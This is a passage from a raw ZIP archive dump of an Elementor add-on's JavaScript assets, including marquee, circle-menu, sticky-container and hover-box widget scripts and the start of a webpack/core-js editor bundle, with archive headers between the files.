				const isRTL = document.documentElement.dir === "rtl";
				const reversedDirection =
					(self.settings("direction") === "right") !== isRTL;

				let marqueeSpeed = self.settings("speed")
						? self.settings("speed") / 100
						: 1,
					isClickable =
						self.settings("clickable") === "yes" ? true : false,
					isPauseOnHover =
						self.settings("pause_on_hover") === "yes"
							? true
							: false,
					isDraggable =
						self.settings("draggable") === "yes" ? true : false,
					spacing = self.settings("spacing")
						? self.settings("spacing")
						: 0,
					isLoop = self.settings("loop") === "yes" ? true : false;

				let activeElement;
				const loop = self.horizontalLoop(boxes, {
					paused: false,
					draggable: isDraggable,
					repeat: -1,
					speed: marqueeSpeed,
					paddingRight: spacing,
					reversed: reversedDirection,
					center: true,
					reversedDirection: reversedDirection,
					onChange: (element, index) => {
						// when the active element changes, this function gets called.
						activeElement &&
							activeElement.classList.remove("active");
						element.classList.add("active");
						activeElement = element;
					},
				});

				if (isPauseOnHover) {
					self.pauseOnHover(loop, boxes);
				}

				if (isClickable) {
					$(boxes).on("mouseleave", () => {
						if (loop.reversed()) {
							loop.play();
							loop.reverse();
						} else {
							loop.play();
							loop.reversed();
						}
					});
					// loop.pause();
					boxes.forEach((box, i) => {
						box.addEventListener("click", () => {
							loop.toIndex(i, {
								duration: 0.8,
								ease: "power1.inOut",
							});
						});
					});
				}
			},

			pauseOnHover: function (tween, boxes) {
				$(boxes).on("mouseenter", () => {
					tween.pause();
				});

				$(boxes).on("mouseleave", () => {
					if (tween.reversed()) {
						tween.play();
						tween.reverse();
					} else {
						tween.play();
						tween.reversed();
					}
				});
			},
			horizontalLoop: function (items, config, reverseDirection = false) {
				var self = this;
				items = gsap.utils.toArray(items);
				config = config || {};
				let onChange = config.onChange,
					lastIndex = 0,
					tl = gsap.timeline({
						repeat: config.repeat,
						paused: config.paused,
						defaults: { ease: "none" },
						onReverseComplete: () =>
							tl.totalTime(tl.rawTime() + tl.duration() * 100),
					}),
					length = items.length,
					startX = items[0].offsetLeft,
					times = [],
					widths = [],
					spaceBefore = [],
					xPercents = [],
					curIndex = 0,
					center = config.center,
					pixelsPerSecond = (config.speed || 1) * 100,
					snap =
						config.snap === false
							? (v) => v
							: gsap.utils.snap(config.snap || 1), // some browsers shift by a pixel to accommodate flex layouts, so for example if width is 20% the first element's width might be 242px, and the next 243px, alternating back and forth. So we snap to 5 percentage points to make things look more natural
					timeOffset = 0,
					container =
						center === true
							? items[0].parentNode
							: gsap.utils.toArray(center)[0] ||
							  items[0].parentNode,
					totalWidth,
					getTotalWidth = () =>
						items[length - 1].offsetLeft +
						(xPercents[length - 1] / 100) * widths[length - 1] -
						startX +
						spaceBefore[0] +
						items[length - 1].offsetWidth *
							gsap.getProperty(items[length - 1], "scaleX") +
						(parseFloat(config.paddingRight) || 0),
					populateWidths = () => {
						let b1 = container.getBoundingClientRect(),
							b2;
						items.forEach((el, i) => {
							widths[i] = parseFloat(
								gsap.getProperty(el, "width", "px")
							);
							xPercents[i] = snap(
								(parseFloat(gsap.getProperty(el, "x", "px")) /
									widths[i]) *
									100 +
									gsap.getProperty(el, "xPercent")
							);
							b2 = el.getBoundingClientRect();
							spaceBefore[i] = b2.left - (i ? b1.right : b1.left);
							b1 = b2;
						});
						gsap.set(items, {
							// convert "x" to "xPercent" to make things responsive, and populate the widths/xPercents Arrays to make lookups faster.
							xPercent: (i) => xPercents[i],
						});
						totalWidth = getTotalWidth();
					},
					timeWrap,
					populateOffsets = () => {
						timeOffset = center
							? (tl.duration() * (container.offsetWidth / 2)) /
							  totalWidth
							: 0;
						center &&
							times.forEach((t, i) => {
								times[i] = timeWrap(
									tl.labels["label" + i] +
										(tl.duration() * widths[i]) /
											2 /
											totalWidth -
										timeOffset
								);
							});
					},
					getClosest = (values, value, wrap) => {
						let i = values.length,
							closest = 1e10,
							index = 0,
							d;
						while (i--) {
							d = Math.abs(values[i] - value);
							if (d > wrap / 2) {
								d = wrap - d;
							}
							if (d < closest) {
								closest = d;
								index = i;
							}
						}
						return index;
					},
					populateTimeline = () => {
						let i, item, curX, distanceToStart, distanceToLoop;
						tl.clear();
						for (i = 0; i < length; i++) {
							item = items[i];
							curX = (xPercents[i] / 100) * widths[i];
							distanceToStart =
								item.offsetLeft +
								curX -
								startX +
								spaceBefore[0];
							distanceToLoop =
								distanceToStart +
								widths[i] * gsap.getProperty(item, "scaleX");
							tl.to(
								item,
								{
									xPercent: snap(
										((curX - distanceToLoop) / widths[i]) *
											100
									),
									duration: distanceToLoop / pixelsPerSecond,
								},
								0
							)
								.fromTo(
									item,
									{
										xPercent: snap(
											((curX -
												distanceToLoop +
												totalWidth) /
												widths[i]) *
												100
										),
									},
									{
										xPercent: xPercents[i],
										duration:
											(curX -
												distanceToLoop +
												totalWidth -
												curX) /
											pixelsPerSecond,
										immediateRender: false,
									},
									distanceToLoop / pixelsPerSecond
								)
								.add(
									"label" + i,
									distanceToStart / pixelsPerSecond
								);
							times[i] = distanceToStart / pixelsPerSecond;
						}
						timeWrap = gsap.utils.wrap(0, tl.duration());
					},
					refresh = (deep) => {
						let progress = tl.progress();
						tl.progress(0, true);
						populateWidths();
						deep && populateTimeline();
						populateOffsets();
						deep && tl.draggable
							? tl.time(times[curIndex], true)
							: tl.progress(progress, true);
					},
					proxy;
				gsap.set(items, { x: 0 });
				populateWidths();
				populateTimeline();
				populateOffsets();
				window.addEventListener("resize", () => refresh(true));
				function toIndex(index, vars) {
					vars = vars || {};

					if (reverseDirection) {
						index = length - index;
					}
					Math.abs(index - curIndex) > length / 2 &&
						(index += index > curIndex ? -length : length); // always go in the shortest direction
					let newIndex = gsap.utils.wrap(0, length, index),
						time = times[newIndex];
					if (time > tl.time() !== index > curIndex) {
						// if we're wrapping the timeline's playhead, make the proper adjustments
						time += tl.duration() * (index > curIndex ? 1 : -1);
					}
					if (time < 0 || time > tl.duration()) {
						vars.modifiers = { time: timeWrap };
					}
					curIndex = newIndex;
					vars.overwrite = true;
					gsap.killTweensOf(proxy);
					return tl.tweenTo(time, vars);
				}
				tl.next = (vars) => toIndex(curIndex + 1, vars);
				tl.previous = (vars) => toIndex(curIndex - 1, vars);
				tl.current = () => curIndex;
				tl.toIndex = (index, vars) => toIndex(index, vars);
				tl.closestIndex = (setCurrent) => {
					let index = getClosest(times, tl.time(), tl.duration());
					setCurrent && (curIndex = index);
					return index;
				};
				tl.times = times;
				tl.progress(1, true).progress(0, true); // pre-render for performance
				if (config.reversed) {
					tl.vars.onReverseComplete();
					tl.reverse();
				}

				if (config.draggable && typeof Draggable === "function") {
					proxy = document.createElement("div");
					let wrap = gsap.utils.wrap(0, 1),
						ratio,
						startProgress,
						draggable,
						dragSnap,
						align = () =>
							tl.progress(
								wrap(
									startProgress +
										(draggable.startX - draggable.x) * ratio
								)
							),
						syncIndex = () => tl.closestIndex(true);
					typeof InertiaPlugin === "undefined" &&
						console.warn(
							"InertiaPlugin required for momentum-based scrolling and snapping. https://greensock.com/club"
						);
					draggable = Draggable.create(proxy, {
						trigger: items[0].parentNode,
						type: "x",
						onPressInit() {
							gsap.killTweensOf(tl);
							startProgress = tl.progress();
							refresh();
							ratio = 1 / totalWidth;
							gsap.set(proxy, { x: startProgress / -ratio });
						},
						onDrag: align,
						onThrowUpdate: align,
						inertia: true,
						snap: (value) => {
							let time = -(value * ratio) * tl.duration(),
								wrappedTime = timeWrap(time),
								snapTime =
									times[
										getClosest(
											times,
											wrappedTime,
											tl.duration()
										)
									],
								dif = snapTime - wrappedTime;
							Math.abs(dif) > tl.duration() / 2 &&
								(dif +=
									dif < 0 ? tl.duration() : -tl.duration());
							return (time + dif) / tl.duration() / -ratio;
						},
						onRelease: syncIndex,
						onThrowComplete: syncIndex,
					})[0];
					tl.draggable = draggable;
				}
				tl.closestIndex(true);
				onChange && onChange(items[curIndex], curIndex);
				return tl;
			},
		});

		elementorFrontend.hooks.addAction(
			"frontend/element_ready/penci-marquee.default",
			function ($scope) {
				elementorFrontend.elementsHandler.addHandler(ListMarquee, {
					$element: $scope,
				});
			}
		);
	});
})(jQuery, window.elementorFrontend);
PK     1w\{P:  :  !  elementor/assets/js/circlemenu.jsnu [        !function(t,e,i,n){var o="circleMenu",s={depth:0,item_diameter:30,circle_radius:80,angle:{start:0,end:90},speed:500,delay:1e3,step_out:20,step_in:-20,trigger:"hover",transition_function:"ease"};function r(t,e,i){["-webkit-","-moz-","-o-","-ms-",""].forEach((function(n){t.css(n+e,i)}))}function l(e,i){this._timeouts=[],this.element=t(e),this.options=t.extend({},s,i),this._defaults=s,this._name=o,this.init(),this.hook()}l.prototype.init=function(){var e,i=this,n={"bottom-left":[180,90],bottom:[135,45],right:[-45,45],left:[225,135],top:[225,315],"bottom-half":[180,0],"right-half":[-90,90],"left-half":[270,90],"top-half":[180,360],"top-left":[270,180],"top-right":[270,360],full:[-90,270-Math.floor(360/(i.element.children("li").length-1))],"bottom-right":[0,90]};i._state="closed",i.element.addClass(o+"-closed"),"string"==typeof i.options.direction&&(e=n[i.options.direction.toLowerCase()])&&(i.options.angle.start=e[0],i.options.angle.end=e[1]),i.menu_items=i.element.children("li:not(:first-child)"),i.initCss(),i.item_count=i.menu_items.length,i._step=(i.options.angle.end-i.options.angle.start)/(i.item_count-1),i.menu_items.each((function(e){var n=t(this),s=(i.options.angle.start+i._step*e)*(Math.PI/180),r=Math.round(i.options.circle_radius*Math.cos(s)),l=Math.round(i.options.circle_radius*Math.sin(s));n.data("plugin_"+o+"-pos-x",r),n.data("plugin_"+o+"-pos-y",l),n.on("click",(function(){i.select(e+2)}))})),["open","close","init","select"].forEach((function(t){var e;i.options[t]&&(e=i.options[t],i.element.on(o+"-"+t,(function(){return e.apply(i,arguments)})),delete i.options[t])})),i.submenus=i.menu_items.children("ul"),i.submenus.circleMenu(t.extend({},i.options,{depth:i.options.depth+1})),i.trigger("init")},l.prototype.trigger=function(){var t,e,i=[];for(t=0,e=arguments.length;t<e;t++)i.push(arguments[t]);this.element.trigger(o+"-"+i.shift(),i)},l.prototype.hook=function(){var t=this;"hover"===t.options.trigger?t.element.on("mouseenter",(function(e){t.open()})).on("mouseleave",(function(e){t.close()})):"click"===t.options.trigger?t.element.children("li:first-child").on("click",(function(e){return e.preventDefault(),"closed"===t._state||"closing"===t._state?t.open():t.close(!0),!1})):t.options.trigger},l.prototype.open=function(){var e,i=this,n=this.element;return i.clearTimeouts(),"open"===i._state||(n.addClass(o+"-open"),n.removeClass(o+"-closed"),(e=i.options.step_out>=0?i.menu_items:t(i.menu_items.get().reverse())).each((function(e){var n=t(this);i._timeouts.push(setTimeout((function(){n.css({left:n.data("plugin_"+o+"-pos-x")+"px",top:n.data("plugin_"+o+"-pos-y")+"px"}),r(n,"transform","scale(1)")}),0+Math.abs(i.options.step_out)*e))})),i._timeouts.push(setTimeout((function(){"opening"===i._state&&i.trigger("open"),i._state="open"}),0+Math.abs(i.options.step_out)*e.length)),i._state="opening"),i},l.prototype.close=function(e){var i=this,n=this.element,s=function(){var e;return i.submenus.circleMenu("close"),i.clearTimeouts(),"closed"===i._state||((e=i.options.step_in>=0?i.menu_items:t(i.menu_items.get().reverse())).each((function(e){var n=t(this);i._timeouts.push(setTimeout((function(){n.css({top:0,left:0}),r(n,"transform","scale(.5)")}),0+Math.abs(i.options.step_in)*e))})),i._timeouts.push(setTimeout((function(){"closing"===i._state&&i.trigger("close"),i._state="closed"}),0+Math.abs(i.options.step_in)*e.length)),n.removeClass(o+"-open"),n.addClass(o+"-closed"),i._state="closing"),i};return e?s():i._timeouts.push(setTimeout(s,i.options.delay)),this},l.prototype.select=function(t){var e,i,n=this;"open"!==n._state&&"opening"!==n._state||(n.clearTimeouts(),i=n.element.children("li:not(:nth-child("+t+"),:first-child)"),e=n.element.children("li:nth-child("+t+")"),n.trigger("select",e),r(e.add(i),"transition","all 500ms ease-out"),r(e,"transform","scale(2)"),r(i,"transform","scale(0)"),e.css("opacity","0"),i.css("opacity","0"),n.element.removeClass(o+"-open"),setTimeout((function(){n.initCss()}),500))},l.prototype.clearTimeouts=function(){for(var t;t=this._timeouts.shift();)clearTimeout(t)},l.prototype.initCss=function(){var t,e=this;e._state="closed",e.element.removeClass(o+"-open"),e.element.css({"list-style":"none",margin:0,padding:0,width:e.options.item_diameter+"px"}),(t=e.element.children("li")).attr("style",""),t.css({display:"block",width:e.options.item_diameter+"px",height:e.options.item_diameter+"px","text-align":"center","line-height":e.options.item_diameter+"px",position:"absolute","z-index":1,opacity:""}),e.element.children("li:first-child").css({"z-index":1e3-e.options.depth}),e.menu_items.css({top:0,left:0}),r(t,"border-radius",e.options.item_diameter+"px"),r(e.menu_items,"transform","scale(.5)"),setTimeout((function(){r(t,"transition","all "+e.options.speed+"ms "+e.options.transition_function)}),0)},t.fn[o]=function(e){return this.each((function(){var i=t.data(this,"plugin_"+o),n={init:function(){i.init()},open:function(){i.open()},close:function(){i.close(!0)}};"string"==typeof e&&i&&n[e]&&n[e](),i||t.data(this,"plugin_"+o,new l(this,e))}))}}(jQuery,window,document);
( function( $, elementor ) {

	'use strict';

	var widgetCircleMenu = function( $scope, $ ) {

		var $circleMenu = $scope.find('.penci-circle-menu'),
            $settings = $circleMenu.data('settings');

        if ( ! $circleMenu.length ) {
            return;
        }

        $($circleMenu[0]).circleMenu({
            direction           : $settings.direction,
            item_diameter       : $settings.item_diameter,
            circle_radius       : $settings.circle_radius,
            speed               : $settings.speed,
            delay               : $settings.delay,
            step_out            : $settings.step_out,
            step_in             : $settings.step_in,
            trigger             : $settings.trigger,
            transition_function : $settings.transition_function
        });

        var $tooltip = $circleMenu.find('.penci-cmenu-tippy-tooltip'),
            widgetID = $scope.data('id');

        $tooltip.each(function (index) {
            tippy(this, {
                allowHTML: true,
                theme: 'penci-cmenu-tippy-' + widgetID
            });
        });

	};


	jQuery(window).on('elementor/frontend/init', function() {
		elementorFrontend.hooks.addAction( 'frontend/element_ready/penci-circle-menu.default', widgetCircleMenu );
	});

}( jQuery, window.elementorFrontend ) );

/**
 * End circle menu widget script
 */

PK     1w\T  T    elementor/assets/js/sticky.jsnu [        (function($) {
    $.fn.PenciStickyContainer = function(options) {
        // Default Options
        const settings = $.extend({
            offset: 0,              // Sticky offset
            disableOnMobile: false, // Disable sticky on mobile devices
            disableOnTablet: false, // Disable sticky on tablet devices
            mobileBreakpoint: 768,  // Mobile breakpoint width
            tabletBreakpoint: 1024, // Tablet breakpoint width
            stopAt: null            // Custom ID/Class to stop sticky
        }, options);

        return this.each(function() {
            const $element = $(this);
            const stickyClass = 'pencisctn-active';
            const stopClass = 'stop-sticky';
            const scrollUpClass = 'scroll-up';
            const scrollDownClass = 'scroll-down';

            const originalHeight = $element.outerHeight();
            const triggerScroll = originalHeight + settings.offset;
            let isSticky = false;
            let lastScrollTop = 0;

            /**
             * Check if sticky should be disabled based on screen size
             */
            function isDisabledOnDevice() {
                const windowWidth = $(window).width();
                if (settings.disableOnMobile && windowWidth <= settings.mobileBreakpoint) {
                    return true;
                }
                if (settings.disableOnTablet && windowWidth <= settings.tabletBreakpoint) {
                    return true;
                }
                return false;
            }

            /**
             * Check if sticky should stop based on a target element
             */
            function isAtStopElement() {
                if (!settings.stopAt || !$(settings.stopAt).length) return false;
                const stopPosition = $(settings.stopAt).offset().top;
                const scrollTop = $(window).scrollTop();
                const elementHeight = $element.outerHeight();

                return scrollTop + elementHeight >= stopPosition;
            }

            /**
             * Sticky behavior based on scroll
             */
            function handleScroll() {
                const scrollTop = $(window).scrollTop();

                // If disabled on this device, remove sticky and exit
                if (isDisabledOnDevice()) {
                    $element.removeClass(`${stickyClass} ${stopClass} ${scrollUpClass} ${scrollDownClass}`);
                    isSticky = false;
                    return;
                }

                // Add scroll direction classes
                if (scrollTop > lastScrollTop) {
                    $element.removeClass(scrollUpClass).addClass(scrollDownClass);
                } else {
                    $element.removeClass(scrollDownClass).addClass(scrollUpClass);
                }
                lastScrollTop = scrollTop;

                // Stop sticky when scrolling to the target element
                if (isAtStopElement()) {
                    $element.removeClass(stickyClass).addClass(stopClass);
                    isSticky = false;
                    return;
                }

                // Add or remove sticky class based on scroll position
                if (scrollTop > triggerScroll && !isSticky) {
                    $element.addClass(stickyClass).removeClass(stopClass);
                    isSticky = true;
                } else if (scrollTop <= triggerScroll && isSticky) {
                    $element.removeClass(`${stickyClass} ${stopClass}`);
                    isSticky = false;
                }
            }

            /**
             * Resize logic to recalculate sticky behavior
             */
            function handleResize() {
                $(window).on('resize', function() {
                    $element.removeClass(`${stickyClass} ${stopClass} ${scrollUpClass} ${scrollDownClass}`);
                    isSticky = false;
                    handleScroll();
                });
            }

            // Event bindings
            $(window).on('scroll', handleScroll);
            handleResize();
        });
    };
})(jQuery);

(function ($, elementor) {
	"use strict";

	var StickyContainer = function ($scope, $) {
		var $section = $scope,
			$stickyFound = $scope.hasClass("pencisctn-sticky");

		if ($stickyFound) {
			var offset = $section.attr("data-pencisctn-offset"),
				mobile = $section.attr("data-pencisctn-mobile"),
				tablet = $section.attr("data-pencisctn-tablet"),
				stop = $section.attr("data-pencisctn-stop");

			$section.PenciStickyContainer({
				offset: offset, // Offset before sticky applies
				disableOnMobile: mobile, // Disable sticky on mobile devices
				disableOnTablet: tablet, // Keep sticky enabled on tablets
				mobileBreakpoint: 768, // Mobile max width
				tabletBreakpoint: 1024, // Tablet max width
				stopAt: stop,
			});

			
		}

		
	};

	jQuery(window).on("elementor/frontend/init", function () {
		elementorFrontend.hooks.addAction(
			"frontend/element_ready/container",
			StickyContainer
		);
        elementorFrontend.hooks.addAction(
			"frontend/element_ready/section",
			StickyContainer
		);
	});
})(jQuery, window.elementorFrontend);PK     1w\#	      elementor/assets/js/hoverbox.jsnu [        /**
 * Start hover box widget script
 */

(function($, elementor) {

    'use strict';

    var widgetHoverBox = function($scope, $) {


        var $hoverBox = $scope.find('.penci-hover-box'),
            $settings = $hoverBox.data('settings');

        var iconBx = document.querySelectorAll('#' + $settings.box_id + ' .penci-hover-box-item');
        var contentBx = document.querySelectorAll('#' + $settings.box_id + ' .penci-hover-box-content');

        for (var i = 0; i < iconBx.length; i++) {
            iconBx[i].addEventListener($settings.mouse_event, function() {
                for (var i = 0; i < contentBx.length; i++) {
                    contentBx[i].className = 'penci-hover-box-content'
                }
                document.getElementById(this.dataset.id).className = 'penci-hover-box-content active';

                for (var i = 0; i < iconBx.length; i++) {
                    iconBx[i].className = 'penci-hover-box-item';
                }
                this.className = 'penci-hover-box-item active';

            })
        }

    };

    var widgetHoverBoxFlexure = function($scope, $) {
        var $hoverBoxFlexure = $scope.find('.penci-hover-box'),
            $settings = $hoverBoxFlexure.data('settings');
            
       var iconBox = $($hoverBoxFlexure).find('.penci-hover-box-item');

       $(iconBox).on($settings.mouse_event, function(){
        var target = $(this).attr('data-id');
        $('#'+target).siblings().removeClass('active');
        $('[data-id="' + target + '"]').siblings().removeClass('active');
        if($settings.mouse_event == 'click'){
            $('#'+target).toggleClass('active');
            $('[data-id="' + target + '"]').toggleClass('active');
            $('[data-id="' + target + '"]').siblings().addClass('invisiable');
            $($hoverBoxFlexure).find('.penci-hover-box-item.invisiable').on('click', function(){
                $('[data-id="' + target + '"]').siblings().addClass('invisiable');
                $('[data-id="' + target + '"]').addClass('invisiable');
            });
            $($hoverBoxFlexure).find('.penci-hover-box-item.active').on('click', function(){
                $('[data-id="' + target + '"]').siblings().removeClass('invisiable');
                $('[data-id="' + target + '"]').removeClass('invisiable');
            });

        }else{
            $('#'+target).addClass('active');
            $('[data-id="' + target + '"]').addClass('active');
            $('[data-id="' + target + '"]').siblings().addClass('invisiable');
        }
       });
       if($settings.mouse_event == 'mouseover'){
        $(iconBox).on('mouseleave', function(){
            var target = $(this).attr('data-id');
            $('#'+target).siblings().removeClass('active');
            $('#'+target).removeClass('active');
            $('[data-id="' + target + '"]').siblings().removeClass('active');
            $('[data-id="' + target + '"]').removeClass('active');
            $('[data-id="' + target + '"]').siblings().removeClass('invisiable');
        });
        }

    };

    jQuery(window).on('elementor/frontend/init', function() {
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-hover-box.default', widgetHoverBox);
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-hover-box.penci-hvb-envelope', widgetHoverBox);
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-hover-box.penci-hvb-flexure', widgetHoverBoxFlexure);
    });

}(jQuery, window.elementorFrontend));

/**
 * End hover box widget script
 */PK     1w\WY    elementor/assets/js/editor.jsnu [        /******/ (function(modules) { // webpackBootstrap
	/******/ 	// The module cache
	/******/ 	var installedModules = {};
	/******/
	/******/ 	// The require function
	/******/ 	function __webpack_require__(moduleId) {
		/******/
		/******/ 		// Check if module is in cache
		/******/ 		if(installedModules[moduleId]) {
			/******/ 			return installedModules[moduleId].exports;
			/******/ 		}
		/******/ 		// Create a new module (and put it into the cache)
		/******/ 		var module = installedModules[moduleId] = {
			/******/ 			i: moduleId,
			/******/ 			l: false,
			/******/ 			exports: {}
			/******/ 		};
		/******/
		/******/ 		// Execute the module function
		/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
		/******/
		/******/ 		// Flag the module as loaded
		/******/ 		module.l = true;
		/******/
		/******/ 		// Return the exports of the module
		/******/ 		return module.exports;
		/******/ 	}
	/******/
	/******/
	/******/ 	// expose the modules object (__webpack_modules__)
	/******/ 	__webpack_require__.m = modules;
	/******/
	/******/ 	// expose the module cache
	/******/ 	__webpack_require__.c = installedModules;
	/******/
	/******/ 	// define getter function for harmony exports
	/******/ 	__webpack_require__.d = function(exports, name, getter) {
		/******/ 		if(!__webpack_require__.o(exports, name)) {
			/******/ 			Object.defineProperty(exports, name, { enumerable: true, get: getter });
			/******/ 		}
		/******/ 	};
	/******/
	/******/ 	// define __esModule on exports
	/******/ 	__webpack_require__.r = function(exports) {
		/******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
			/******/ 			Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
			/******/ 		}
		/******/ 		Object.defineProperty(exports, '__esModule', { value: true });
		/******/ 	};
	/******/
	/******/ 	// create a fake namespace object
	/******/ 	// mode & 1: value is a module id, require it
	/******/ 	// mode & 2: merge all properties of value into the ns
	/******/ 	// mode & 4: return value when already ns object
	/******/ 	// mode & 8|1: behave like require
	/******/ 	__webpack_require__.t = function(value, mode) {
		/******/ 		if(mode & 1) value = __webpack_require__(value);
		/******/ 		if(mode & 8) return value;
		/******/ 		if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
		/******/ 		var ns = Object.create(null);
		/******/ 		__webpack_require__.r(ns);
		/******/ 		Object.defineProperty(ns, 'default', { enumerable: true, value: value });
		/******/ 		if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
		/******/ 		return ns;
		/******/ 	};
	/******/
	/******/ 	// getDefaultExport function for compatibility with non-harmony modules
	/******/ 	__webpack_require__.n = function(module) {
		/******/ 		var getter = module && module.__esModule ?
			/******/ 			function getDefault() { return module['default']; } :
			/******/ 			function getModuleExports() { return module; };
		/******/ 		__webpack_require__.d(getter, 'a', getter);
		/******/ 		return getter;
		/******/ 	};
	/******/
	/******/ 	// Object.prototype.hasOwnProperty.call
	/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
	/******/
	/******/ 	// __webpack_public_path__
	/******/ 	__webpack_require__.p = "";
	/******/
	/******/
	/******/ 	// Load entry module and return exports
	/******/ 	return __webpack_require__(__webpack_require__.s = 351);
	/******/ })
/************************************************************************/
/******/ ([
	/* 0 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(113);

		/***/ }),
	/* 1 */
	/***/ (function(module, exports) {

		function _interopRequireDefault(obj) {
			return obj && obj.__esModule ? obj : {
				"default": obj
			};
		}

		module.exports = _interopRequireDefault;

		/***/ }),
	/* 2 */
	/***/ (function(module, exports) {

		var core = module.exports = { version: '2.6.11' };
		if (typeof __e == 'number') __e = core; // eslint-disable-line no-undef


		/***/ }),
	/* 3 */
	/***/ (function(module, exports) {

		function _classCallCheck(instance, Constructor) {
			if (!(instance instanceof Constructor)) {
				throw new TypeError("Cannot call a class as a function");
			}
		}

		module.exports = _classCallCheck;

		/***/ }),
	/* 4 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Object$create = __webpack_require__(130);

		var setPrototypeOf = __webpack_require__(133);

		function _inherits(subClass, superClass) {
			if (typeof superClass !== "function" && superClass !== null) {
				throw new TypeError("Super expression must either be null or a function");
			}

			subClass.prototype = _Object$create(superClass && superClass.prototype, {
				constructor: {
					value: subClass,
					writable: true,
					configurable: true
				}
			});
			if (superClass) setPrototypeOf(subClass, superClass);
		}

		module.exports = _inherits;

		/***/ }),
	/* 5 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Reflect$construct = __webpack_require__(83);

		var getPrototypeOf = __webpack_require__(25);

		var isNativeReflectConstruct = __webpack_require__(143);

		var possibleConstructorReturn = __webpack_require__(144);

		function _createSuper(Derived) {
			var hasNativeReflectConstruct = isNativeReflectConstruct();
			return function _createSuperInternal() {
				var Super = getPrototypeOf(Derived),
					result;

				if (hasNativeReflectConstruct) {
					var NewTarget = getPrototypeOf(this).constructor;
					result = _Reflect$construct(Super, arguments, NewTarget);
				} else {
					result = Super.apply(this, arguments);
				}

				return possibleConstructorReturn(this, result);
			};
		}

		module.exports = _createSuper;

		/***/ }),
	/* 6 */
	/***/ (function(module, exports, __webpack_require__) {

		var _Object$defineProperty = __webpack_require__(0);

		function _defineProperties(target, props) {
			for (var i = 0; i < props.length; i++) {
				var descriptor = props[i];
				descriptor.enumerable = descriptor.enumerable || false;
				descriptor.configurable = true;
				if ("value" in descriptor) descriptor.writable = true;

				_Object$defineProperty(target, descriptor.key, descriptor);
			}
		}

		function _createClass(Constructor, protoProps, staticProps) {
			if (protoProps) _defineProperties(Constructor.prototype, protoProps);
			if (staticProps) _defineProperties(Constructor, staticProps);
			return Constructor;
		}

		module.exports = _createClass;

		/***/ }),
	/* 7 */
	/***/ (function(module, exports, __webpack_require__) {

		var global = __webpack_require__(8);
		var core = __webpack_require__(2);
		var ctx = __webpack_require__(32);
		var hide = __webpack_require__(21);
		var has = __webpack_require__(16);
		var PROTOTYPE = 'prototype';

		var $export = function (type, name, source) {
			var IS_FORCED = type & $export.F;
			var IS_GLOBAL = type & $export.G;
			var IS_STATIC = type & $export.S;
			var IS_PROTO = type & $export.P;
			var IS_BIND = type & $export.B;
			var IS_WRAP = type & $export.W;
			var exports = IS_GLOBAL ? core : core[name] || (core[name] = {});
			var expProto = exports[PROTOTYPE];
			var target = IS_GLOBAL ? global : IS_STATIC ? global[name] : (global[name] || {})[PROTOTYPE];
			var key, own, out;
			if (IS_GLOBAL) source = name;
			for (key in source) {
				// contains in native
				own = !IS_FORCED && target && target[key] !== undefined;
				if (own && has(exports, key)) continue;
				// export native or passed
				out = own ? target[key] : source[key];
				// prevent global pollution for namespaces
				exports[key] = IS_GLOBAL && typeof target[key] != 'function' ? source[key]
					// bind timers to global for call from export context
					: IS_BIND && own ? ctx(out, global)
						// wrap global constructors for prevent change them in library
						: IS_WRAP && target[key] == out ? (function (C) {
							var F = function (a, b, c) {
								if (this instanceof C) {
									switch (arguments.length) {
										case 0: return new C();
										case 1: return new C(a);
										case 2: return new C(a, b);
									} return new C(a, b, c);
								} return C.apply(this, arguments);
							};
							F[PROTOTYPE] = C[PROTOTYPE];
							return F;
							// make static versions for prototype methods
						})(out) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
				// export proto methods to core.%CONSTRUCTOR%.methods.%NAME%
				if (IS_PROTO) {
					(exports.virtual || (exports.virtual = {}))[key] = out;
					// export proto methods to core.%CONSTRUCTOR%.prototype.%NAME%
					if (type & $export.R && expProto && !expProto[key]) hide(expProto, key, out);
				}
			}
		};
// type bitmap
		$export.F = 1;   // forced
		$export.G = 2;   // global
		$export.S = 4;   // static
		$export.P = 8;   // proto
		$export.B = 16;  // bind
		$export.W = 32;  // wrap
		$export.U = 64;  // safe
		$export.R = 128; // real proto method for `library`
		module.exports = $export;


		/***/ }),
	/* 8 */
	/***/ (function(module, exports) {

// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
		var global = module.exports = typeof window != 'undefined' && window.Math == Math
			? window : typeof self != 'undefined' && self.Math == Math ? self
				// eslint-disable-next-line no-new-func
				: Function('return this')();
		if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef


		/***/ }),
	/* 9 */
	/***/ (function(module, exports) {

		module.exports = function (it) {
			return typeof it === 'object' ? it !== null : typeof it === 'function';
		};


		/***/ }),
	/* 10 */,
	/* 11 */
	/***/ (function(module, exports, __webpack_require__) {

		var store = __webpack_require__(55)('wks');
		var uid = __webpack_require__(38);
		var Symbol = __webpack_require__(8).Symbol;
		var USE_SYMBOL = typeof Symbol == 'function';

		var $exports = module.exports = function (name) {
			return store[name] || (store[name] =
			       USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
		};

		$exports.store = store;


		/***/ }),
	/* 12 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(9);
		module.exports = function (it) {
			if (!isObject(it)) throw TypeError(it + ' is not an object!');
			return it;
		};


		/***/ }),
	/* 13 */
	/***/ (function(module, exports, __webpack_require__) {

		var store = __webpack_require__(68)('wks');
		var uid = __webpack_require__(67);
		var Symbol = __webpack_require__(17).Symbol;
		var USE_SYMBOL = typeof Symbol == 'function';

		var $exports = module.exports = function (name) {
			return store[name] || (store[name] =
			       USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
		};

		$exports.store = store;


		/***/ }),
	/* 14 */
